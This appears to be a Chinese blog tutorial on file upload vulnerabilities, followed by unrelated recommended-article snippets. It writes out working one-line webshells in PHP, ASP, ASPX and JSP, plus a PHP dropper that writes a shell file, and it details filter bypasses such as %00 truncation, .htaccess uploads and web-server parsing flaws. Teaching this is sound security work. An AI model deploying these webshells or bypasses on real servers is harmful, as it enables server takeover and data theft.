分享好友 最新动态首页 最新动态分类 切换频道
【网络安全】文件上传漏洞 详解
2024-12-26 13:11

将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。

【网络安全】文件上传漏洞 详解

通常一个文件以HTTP协议进行上传时,将POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。

服务器配置不当

文件上传限制被绕过,过滤不严

开源编辑器的文件上传漏洞

文件解析漏洞导致文件执行

攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作,从而控制整个网站、服务器。

这个恶意的文件又称WebShell。

可能存在漏洞的位置

图片上传功能

头像上传功能

文档上传功能

了解

webshell 是以asp、jsp、或cgi等网页文件形式存在的一种命令执行环境,也可以称之为网页木马后门。

攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器进行上传下载文件、查看数据库、执行命令等。

后门

一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的门,每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下一个后门。

分类
  1. 根据文件大小分类

    一句话木马:通常只有一行代码

    小马:只包含文件上传功能

    大马:包含很多功能,代码通常会进行加密隐藏

  2. 根据脚本类型分类

    jsp

    asp

    aspx

    php

特点
  1. webshell大多以动态脚本形式出现
  2. webshell就是一个asp或者php木马后门
  3. webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
  4. webshell一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录。
攻击流程
  1. 利用web漏洞获取web权限
  2. 上传小马
  3. 上传大马
  4. 远程调用webshell执行命令
常见webshell

PHP

<?php eval($_GET[pass]);?> <?php eval($_POST[pass]);?>

pass为参数,打开木马后需要在网址中回显

http…/?pass = phpinfo(); 或者system(ipconfig);等命令

ASP

<%eval request(“pass”)%>

ASPX

<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”])%>

JSP

<%Runtime.getRuntime().exec(request.getParameter(“i”)));%>

1.可执行脚本

​ HTTP数据包

2.数据传递

3.执行传递的数据

​ 直接执行

​ 文件包含执行

​ 动态函数执行

​ 回调函数

一句话小马
<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>');?>

在当前目录下创建up.php文件,文件内容为PHP代码

通过小马上传大马

使用base64工具将PHP代码转成字符串(需要二次编码去除+=等特殊字符)

创建up.php,将文件上传PHP代码写入up.php中

<?php fputs(fopen(base64_decode(dXAucGhw),w),base64_decode(base64_decode(PHP代码编码)));?>

base64_decode()做解码处理 dXAucGhw是up.php的编码处理。

之后可以通过文件上传功能传入大马。

1.中国菜刀(caidao) (比较落后,有后门)

2.c刀(cknife)

3.Weevely3 (kali中自带)

4.中国蚁剑(AntSword)

5.冰蝎(Behinder)

对数据传递会进行加密,可以很好的绕过防火墙。

客户端JavaScript检测(检测文件扩展名)(前端检测)

服务端MIME类型检测(检测content-type内容)

MIME 参考手册 (w3school.com.cn)

服务端目录路径检测(检测根path参数相关的内容)

服务端文件扩展名检测(检测跟文件extension相关的内容)

服务端文件内容检测(检测内容是否合法,是否含有恶意代码等)

使用burpsuite工具进行抓包,然后进行对文件的修改,使其达到符合服务器检测的形式。

绕过客户端检测(前端JavaScript检测)

客户端检测原理

通常在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和扩展名是否合法。


方法

在本地浏览器客户端禁用JS即可。

可以使用火狐浏览器的NoScript插件、IE中禁用JS等方式实现。


绕过服务端检测

服务端检测原理

服务端的代码通常检测三个点

MIME类型、文件后缀、文件内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-afZHgJBZ-1677413271759)(C:UserswrzAppDataRoamingTypora ypora-user-imagesimage-20230226183230079.png)]

文件幻数:文件中开头的几个字节,可以标识文件为何类型的文件。

文件格式的幻数File Format and Magic Number_BloodyEve的博客-CSDN博客_文件幻数

使用WinHex工具可以查看相应文件幻数。


绕过方法

1.绕过MIME类型检测

原理

检测图片类型文件上传过程中http包的Content-Type字段的值,来判断上传文件是否合法。

方法

用burpsuite截取并修改数据包文件的content-type类型进行绕过。


2.绕过文件后缀检测-黑名单

原理(黑名单策略)

文件扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。

方法

  1. 后缀大小写绕过 (.pHp)

    在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过。

  2. 空格绕过 (.php )

    如果黑名单没有对后缀名进行去空处理

    可以通过在后缀名后加空进行绕过。

  3. 点绕过 (.php.)

    如果黑名单没有对后缀名进行去点处理

    利用Windows系统的文件名特性,会自动去掉后缀名最后的点,通过对文件名后缀加点进行绕过。

  4. ::$DATA绕过

    如果黑名单没有进行去::$DATA处理

    利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA,绕过黑名单的检测。

    Windows会自动把::$DATA过滤。

  5. 配合Apache解析漏洞

    Apache解析有一个特点

    解析文件从右往左判断,如果不可识别解析再往左判断。

    如aa.php.owf.rar文件,Apache不可识别解析rar和owf,便会解析成php文件。

  6. .htaccess文件(分布式配置文件)

    配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测。

    .htaccess文件,全称为Hypertext Access(超文本入口)。

    提供了针对目录改变配置的方法。

    文件上传到服务器时,服务器会找到.htaccess文件进行读取,解析配置。

    可以自定义此配置,来使文件绕过检测。


3.绕过文件后缀检测-白名单

原理(白名单策略)

文件扩展名不在白名单中为不合法。

绕过方法

服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析。

可以利用00截断的方式进行绕过,包括%00截断与0X00截断。

例子:上传文件名为aa.php%00.png的一个文件

服务端判断文件类型是从后往前判断,服务器读取到%00时会解析成0X00,当存在0X00时,自动忽略0X00后面的内容

那么就会把此文件当成png文件上传,绕过白名单。

当服务器保存文件时,从前往后解析,自动忽略.png,就会保存为php文件。

注意

在url中变为aa.php%00.png,在文件扩展名中,需要将%00进行解码再添加进文件扩展名。

用burpsuite工具添加,先在需要添加%00的地方添加空格,然后查看HEX位置,空格的HEX是20,将此位置改为00,即为%00的解码。


4.绕过文件内容检测

原理

一般通过检测文件内容来判断上传文件是否合法。

两种检测方法

通过检测文件幻数。

调用API或者函数对文件进行加载测试。常见的是图像渲染测试(可能会二次渲染测试)。

绕过方法

  1. 绕过文件幻数检测

​ 在文件开头添加相应文件幻数。

​ 如:绕过jpg文件幻数检测就要添加FF D8 FF E0 10 4A 46 49 46

  1. 绕过文件加载检测

对渲染/加载测试攻击----代码注入绕过

攻击原理

​ 在不破坏文件本身的渲染情况下找一个空白区进行填充代码

​ 一般是图片的注释区,可以保证文件结构完整。

对二次渲染的攻击方式-----攻击文件加载器自身

攻击原理

​ 通过溢出攻击对文件加载器进行攻击

​ 上传恶意文件后,服务器上的文件加载器会主动测试,加载测试 时被溢出攻击执行shellcode.

Apache解析漏洞

解析文件从右往左判断,如果不可识别解析再往左判断。

如aa.php.owf.rar文件,Apache不可识别解析rar和owf,便会解析成php文件。

IIS6.0解析漏洞

1.目录解析

形式:www.xxx.com/xx.asp/xx.jpg

原理:服务器默认会把.asp目录下的文件都解析成asp文件。

2.文件解析

形式:www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析分号后面的内容,因此xx.asp;jpg 便被解析成asp文件了

IIS7.0解析漏洞

形式:任意文件名/任意文件名.php

**原理:**IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞

对任意文件名 只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析

Nginx解析漏洞

形式1:任意文件名/任意文件名.php

**原理:**对任意文件名 后面添加"/任意文件名.php"就会按照php的方式去解析,如test.jpg/x.php

形式2:任意文件名%00.php

对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击

最新文章
iPhone 16E曝光:苹果首次采用E后缀命名
据爆料,备受期待的iPhone SE 4将发生重大变化,不仅将更名为iPhone 16E,更将首次采用苹果历史上前所未有的E后缀命名方式。这一消息引起了广泛关注,标志着苹果在产品线布局上的又一次创新。在核心配置上,iPhone 16E将搭载苹果最新的A18
10 个最佳 AI 代码生成器
人工智能的兴起极大地影响了编码和开发领域。 人工智能驱动的代码生成器有助于简化编码流程、自动化日常任务,甚至预测和建议代码片段。 下面,我们介绍一些最好的人工智能代码生成器、它们的独特功能,以及它们如何彻底
2022谷歌SEO怎么做?谷歌SEO快速排名优化方法
如果想要更快速提高搜索引擎排名,快速上首页位置,就要了解排名的具体要求和条件,只有这样才能确定外贸网站优化方案,不同类型的网站有不同的发展方向,在外贸网站优化工作中会有不同的标准,今天就为大家分析谷歌SEO快速排名要素!1、明
100本最棒的web前端图书推荐
51、JavaScript异步编程类型:pdf简介:讲述了基本的异步处理技巧,包括PubSub、事件模式、Promises等,通过这些技巧,可以更好地应对大型Web应用程序的复杂性,交付快速响应的代码。理解了Javascript的异步模式可以让读者写出结构更合理、
gpt免费4.0人工智能
GPT-4.0是OpenAI开发的一种人工智能模型,它是GPT(Generative Pre-trained Transformer)系列的第四个版本。然而,目前的信息表明GPT-4.0并没有免费提供给公众使用,OpenAI通常会为其最新版本的模型提供订阅或授权方式,这需要用户支付费
ai怎么绘制超可爱的简笔画楼房矢量图?
在建筑设计过程中,我们经常用到效果图,今天,我们就来画一个简单的效果图,从中学习一下快速绘制建筑物的方法,还有不同材质在建筑效果图中的体现方法。1、先用矩形工具与钢笔工具把整个建筑物的基本轮廓一一勾勒出来,另外,建筑物周边
2024年奥门免费资料,效率资料解释落实_静态版55.129
随着2024年奥运会的临近,全球各地的体育迷和运动员都在为这一盛事做准备。在这个背景下,澳门特别行政区也积极投身于奥运会的准备工作中,为运动员和观众提供各种免费资料和效率资料,以确保赛事的顺利进行。本文将详细介绍澳门在奥运会筹
2018年12月14日 | 2018年机器人领域十大最前沿技术盘点
2018年是机器人行业蓬勃发展的一年,人工智能的快速发展辐射到人们生活、生产制造的方方面面,尤其是+机器人组合,让机器人脱离了传统工业机器人的形象,能看会听的智能机器人、手机对面的客服机器人、各种仿生机器人价值已逐渐显现,科技
2024年Python爬虫教程:解析网页中的元素_copy selector,2024年最新2024春招面试
感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的: ① 2000多本Python电子书(主流和经典的书籍应该都有了) ② Python标准库资料(最全中文版) ③ 项目源码&
AI美女写真一键生成指南:最强神器揭秘!
限时免费,点击体验最近超火的AI生图神器,坐拥3000美女的大男主就是你! https://ai.sohu.com/pc/generate/textToImg?_trans_=030001_yljdaimn 在这个数字化高度发展的时代,科技正以惊人的速度改变着我们的生活。你是否曾想过,只需轻轻
相关文章
推荐文章
发表评论
0评